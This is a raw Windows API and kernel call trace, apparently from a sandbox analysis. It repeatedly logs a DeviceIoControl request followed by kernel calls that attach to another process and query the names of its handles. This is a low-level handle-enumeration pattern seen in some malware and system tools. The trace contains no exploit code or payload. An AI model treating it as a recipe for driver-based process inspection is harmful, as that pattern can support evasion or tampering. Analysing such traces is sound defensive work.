1 [0120.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.947] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.947] PsAcquireProcessExitSynchronization () returned 0x0 [0120.947] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.947] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00122af70, HandleInformation=0x0) returned 0x0 [0120.947] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.947] PsReleaseProcessExitSynchronization () returned 0x2 [0120.947] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.947] ObQueryNameString (in: Object=0xfffff8a00122af70, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.947] ObfDereferenceObject (Object=0xfffff8a00122af70) returned 0x1 [0120.947] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.947] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.947] PsAcquireProcessExitSynchronization () returned 0x0 [0120.947] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.947] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001232c00, HandleInformation=0x0) returned 0x0 [0120.947] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.947] PsReleaseProcessExitSynchronization () returned 0x2 [0120.947] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.947] ObQueryNameString (in: Object=0xfffff8a001232c00, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.947] ObfDereferenceObject (Object=0xfffff8a001232c00) returned 0x1 [0120.947] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.948] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.948] PsAcquireProcessExitSynchronization () returned 0x0 [0120.948] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.948] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001685cc0, HandleInformation=0x0) returned 0x0 [0120.948] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.948] PsReleaseProcessExitSynchronization () returned 0x2 [0120.948] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.948] ObQueryNameString (in: Object=0xfffff8a001685cc0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.948] ObfDereferenceObject (Object=0xfffff8a001685cc0) returned 0x1 [0120.948] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.948] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.948] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.948] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.948] PsAcquireProcessExitSynchronization () returned 0x0 [0120.948] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.948] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001523570, HandleInformation=0x0) returned 0x0 [0120.948] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.948] PsReleaseProcessExitSynchronization () returned 0x2 [0120.948] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.948] ObQueryNameString (in: Object=0xfffff8a001523570, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.948] ObfDereferenceObject (Object=0xfffff8a001523570) returned 0x1 [0120.948] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.948] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.948] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.948] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.948] PsAcquireProcessExitSynchronization () returned 0x0 [0120.948] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.948] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001527770, HandleInformation=0x0) returned 0x0 [0120.948] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.949] PsReleaseProcessExitSynchronization () returned 0x2 [0120.949] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.949] ObQueryNameString (in: Object=0xfffff8a001527770, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.949] ObfDereferenceObject (Object=0xfffff8a001527770) returned 0x1 [0120.949] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.949] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.949] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.949] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.949] PsAcquireProcessExitSynchronization () returned 0x0 [0120.949] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.949] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00152e880, HandleInformation=0x0) returned 0x0 [0120.949] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.949] PsReleaseProcessExitSynchronization () returned 0x2 [0120.949] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.949] ObQueryNameString (in: Object=0xfffff8a00152e880, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0120.949] ObfDereferenceObject (Object=0xfffff8a00152e880) returned 0x1 [0120.949] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.949] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.949] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.949] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.949] PsAcquireProcessExitSynchronization () returned 0x0 [0120.949] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.949] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001d0a770, HandleInformation=0x0) returned 0x0 [0120.949] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.949] PsReleaseProcessExitSynchronization () returned 0x2 [0120.949] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.949] ObQueryNameString (in: Object=0xfffff8a001d0a770, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.949] ObfDereferenceObject (Object=0xfffff8a001d0a770) returned 0x1 [0120.949] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.949] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.950] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.950] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.950] PsAcquireProcessExitSynchronization () returned 0x0 [0120.950] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.950] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0015484a0, HandleInformation=0x0) returned 0x0 [0120.950] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.950] PsReleaseProcessExitSynchronization () returned 0x2 [0120.950] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.950] ObQueryNameString (in: Object=0xfffff8a0015484a0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.950] ObfDereferenceObject (Object=0xfffff8a0015484a0) returned 0x1 [0120.950] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.950] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.950] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.950] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.950] PsAcquireProcessExitSynchronization () returned 0x0 [0120.950] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.950] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001566750, HandleInformation=0x0) returned 0x0 [0120.950] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.950] PsReleaseProcessExitSynchronization () returned 0x2 [0120.950] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.950] ObQueryNameString (in: Object=0xfffff8a001566750, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.950] ObfDereferenceObject (Object=0xfffff8a001566750) returned 0x1 [0120.950] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.950] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.950] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.950] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.950] PsAcquireProcessExitSynchronization () returned 0x0 [0120.950] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.950] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001558990, HandleInformation=0x0) returned 0x0 [0120.951] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.951] PsReleaseProcessExitSynchronization () returned 0x2 [0120.951] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.951] ObQueryNameString (in: Object=0xfffff8a001558990, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.951] ObfDereferenceObject (Object=0xfffff8a001558990) returned 0x1 [0120.951] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.951] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.951] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.951] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.951] PsAcquireProcessExitSynchronization () returned 0x0 [0120.951] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.951] ObReferenceObjectByHandle (in: Handle=0x184, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0015bffc0, HandleInformation=0x0) returned 0x0 [0120.951] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.951] PsReleaseProcessExitSynchronization () returned 0x2 [0120.951] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.951] ObQueryNameString (in: Object=0xfffff8a0015bffc0, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.951] ObfDereferenceObject (Object=0xfffff8a0015bffc0) returned 0x1 [0120.951] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.951] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.951] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.951] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.951] PsAcquireProcessExitSynchronization () returned 0x0 [0120.951] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.951] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001df1770, HandleInformation=0x0) returned 0x0 [0120.951] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.951] PsReleaseProcessExitSynchronization () returned 0x2 [0120.951] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.951] ObQueryNameString (in: Object=0xfffff8a001df1770, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.951] ObfDereferenceObject (Object=0xfffff8a001df1770) returned 0x1 [0120.951] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.951] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.952] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.952] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.952] PsAcquireProcessExitSynchronization () returned 0x0 [0120.952] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.952] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00180a5e0, HandleInformation=0x0) returned 0x0 [0120.952] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.952] PsReleaseProcessExitSynchronization () returned 0x2 [0120.952] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.952] ObQueryNameString (in: Object=0xfffff8a00180a5e0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.952] ObfDereferenceObject (Object=0xfffff8a00180a5e0) returned 0x1 [0120.952] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.952] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.952] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.952] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.952] PsAcquireProcessExitSynchronization () returned 0x0 [0120.952] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.952] ObReferenceObjectByHandle (in: Handle=0x1e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001a13540, HandleInformation=0x0) returned 0x0 [0120.952] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.952] PsReleaseProcessExitSynchronization () returned 0x2 [0120.952] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.952] ObQueryNameString (in: Object=0xfffff8a001a13540, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.952] ObfDereferenceObject (Object=0xfffff8a001a13540) returned 0x1 [0120.952] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.952] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.952] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.952] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.952] PsAcquireProcessExitSynchronization () returned 0x0 [0120.952] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.952] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001248470, HandleInformation=0x0) returned 0x0 [0120.952] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.953] PsReleaseProcessExitSynchronization () returned 0x2 [0120.953] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.953] ObQueryNameString (in: Object=0xfffff8a001248470, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.953] ObfDereferenceObject (Object=0xfffff8a001248470) returned 0x1 [0120.953] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.953] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.953] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.953] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.953] PsAcquireProcessExitSynchronization () returned 0x0 [0120.953] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) 